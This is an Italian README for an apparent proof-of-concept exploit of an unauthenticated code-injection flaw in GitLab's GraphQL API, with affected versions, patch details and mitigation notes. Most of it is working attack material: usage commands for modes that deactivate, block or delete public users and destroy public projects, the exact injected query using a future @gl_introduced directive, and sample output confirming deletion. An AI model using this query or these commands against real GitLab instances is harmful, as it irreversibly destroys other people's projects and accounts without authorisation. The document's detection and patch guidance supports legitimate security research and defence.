
Exploit proof-of-concept per l'iniezione di codice remota non autenticata nell'API GraphQL di GitLab, che utilizza query appositamente formulate per modificare o eliminare progetti e utenti pubblici.
Iniezione di codice remota non autenticata nel livello GraphQL di GitLab che consente a un attaccante di modificare o eliminare progetti pubblici e dati utente con una singola query appositamente costruita. Nessuna autenticazione, nessuna interazione con l'utente, nessun privilegio speciale.
| Gravità | 9.4 Critica — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H |
| CWE | CWE-94 (Controllo improprio della generazione di codice / Iniezione di codice) |
| Versioni interessate | GitLab CE/EE >= 18.2, < 18.11.11 · < 19.0.8 · < 19.1.6 · < 19.2.4 |
| Versione corretta | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Divulgata | 2026-08-17 |
| HackerOne | 3926431 |
# 1) Benign check — calls Project#touch (updates updated_at, no damage)
python3 poc.py --url https://gitlab.example.com --project group/public-project
# 2) Modify — deactivate a public user (persisted state change, reversible)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# 3) Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
L'exploit è un'iniezione di codice tramite campo di fallback: un nome di campo scelto dall'attaccante
in una query GraphQL viene trasformato in una chiamata arbitraria a public_send sul
modello ActiveRecord sottostante (Project, User, ...). Poiché il campo di fallback viene
creato solo quando la query trasporta anche una direttiva @gl_introduced "futura", la
direttiva è la primitiva di iniezione.
| Serie | Interessate | Corretta |
|---|---|---|
| 18.x | >= 18.2, < 18.11.11 | 18.11.11 |
| 19.0 | < 19.0.8 | 19.0.8 |
| 19.1 | < 19.1.6 | 19.1.6 |
| 19.2 | < 19.2.4 | 19.2.4 |
Lo script esegue un rilevamento della versione best-effort (/api/v4/version con un token, /help, /users/sign_in) e segnala se il target rientra negli intervalli interessati.
touch qui sopra. Un'istanza
vulnerabile restituisce "touch": true; un'istanza patchata restituisce
Field 'touch' doesn't exist on type 'Project'.gl_introduced nello
schema GraphQL (/api/graphql introspection). Le istanze patchate potrebbero ancora
esporla, quindi il controllo comportamentale è quello autorevole.python3 poc.py --url <URL> (--project <ns/proj> | --user <username>)
[--mode check|modify|destroy|delete|custom]
[--method NAME] [--token TOKEN] [--version X.Y.Z] [--insecure]
| Opzione | Descrizione |
|---|---|
--url | URL base di GitLab, es. https://gitlab.example.com |
--project | Percorso completo di un progetto pubblico, es. group/subgroup/project |
--user | Nome utente di un utente pubblico, es. alice |
--mode | check (default, touch benigno) · modify (utente: deactivate, progetto: touch) · destroy · delete · custom |
--method | Nome del metodo per --mode custom (deve essere un nome GraphQL valido) |
--token | PRIVATE-TOKEN GitLab opzionale (rilevamento versione / autenticazione) |
--version | Salta il rilevamento, forza una stringa di versione |
--insecure | Disabilita la verifica del certificato TLS |
Le modalità distruttive (modify, destroy, delete) richiedono una conferma interattiva yes.
# Benign check — Project#touch
python3 poc.py --url https://gitlab.example.com --project group/public-project
# Modify — deactivate a public user (reversible with activate)
python3 poc.py --url https://gitlab.example.com --user victim --mode modify
# Modify — block a public user
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method block
# Modify — confirm a user's email (Devise confirmable)
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method confirm
# Undo a deactivation
python3 poc.py --url https://gitlab.example.com --user victim --mode custom --method activate
# Destroy — delete a public project (irreversible)
python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
# Delete — delete a public user (irreversible, no callbacks)
python3 poc.py --url https://gitlab.example.com --user victim --mode delete
# Arbitrary zero-arg method
python3 poc.py --url https://gitlab.example.com --project group/public-project \
--mode custom --method reload
# Authenticated / self-signed TLS
python3 poc.py --url https://gitlab.example.com --user victim --mode modify \
--token <PRIVATE-TOKEN> --insecure
$ python3 poc.py --url https://gitlab.example.com --project group/public-project --mode destroy
[*] Detected GitLab version: 19.2.1-ee
[+] Version is within the affected ranges -> likely vulnerable
[!] WARNING: this mode changes data on the target (modify/destroy/delete).
Type 'yes' to run destroy against 'group/public-project': yes
[*] Target object : group/public-project
[*] Method invoked: destroy
[*] Query:
query {
project(fullPath: "group/public-project") {
name
destroy @gl_introduced(version: "999.0.0")
}
}
[*] HTTP 200
[+] VULNERABLE: 'destroy' was invoked on the target object (response value: True).
[+] The fallback field resolved through object.public_send() -> arbitrary method invocation confirmed.
[*] HTTP 200
[-] Target appears PATCHED: unknown fields are rejected (no fallback field was created).
La risposta di un'istanza patchata è un normale errore di validazione GraphQL:
{ "errors": [ { "message": "Field 'destroy' doesn't exist on type 'Project'", ... } ] }
[!] Parent object is null -> project/user not found or not visible.
(For projects, use the full path, e.g. group/subgroup/project)
Il target deve essere pubblico (visibilità del progetto Public, oppure un utente il cui profilo
è risolvibile pubblicamente tramite GraphQL). Se il parent è null, il metodo non viene mai
chiamato.
/api/graphql, oppure disabilita la
funzione di filtro versione @gl_introduced se non necessaria.e283c6ad "Prevent calling object method when resolving fallback field"Questo PoC è fornito esclusivamente per ricerca di sicurezza difensiva e test autorizzati. Non eseguirlo contro sistemi che non possiedi o per i quali non hai esplicito permesso di testare.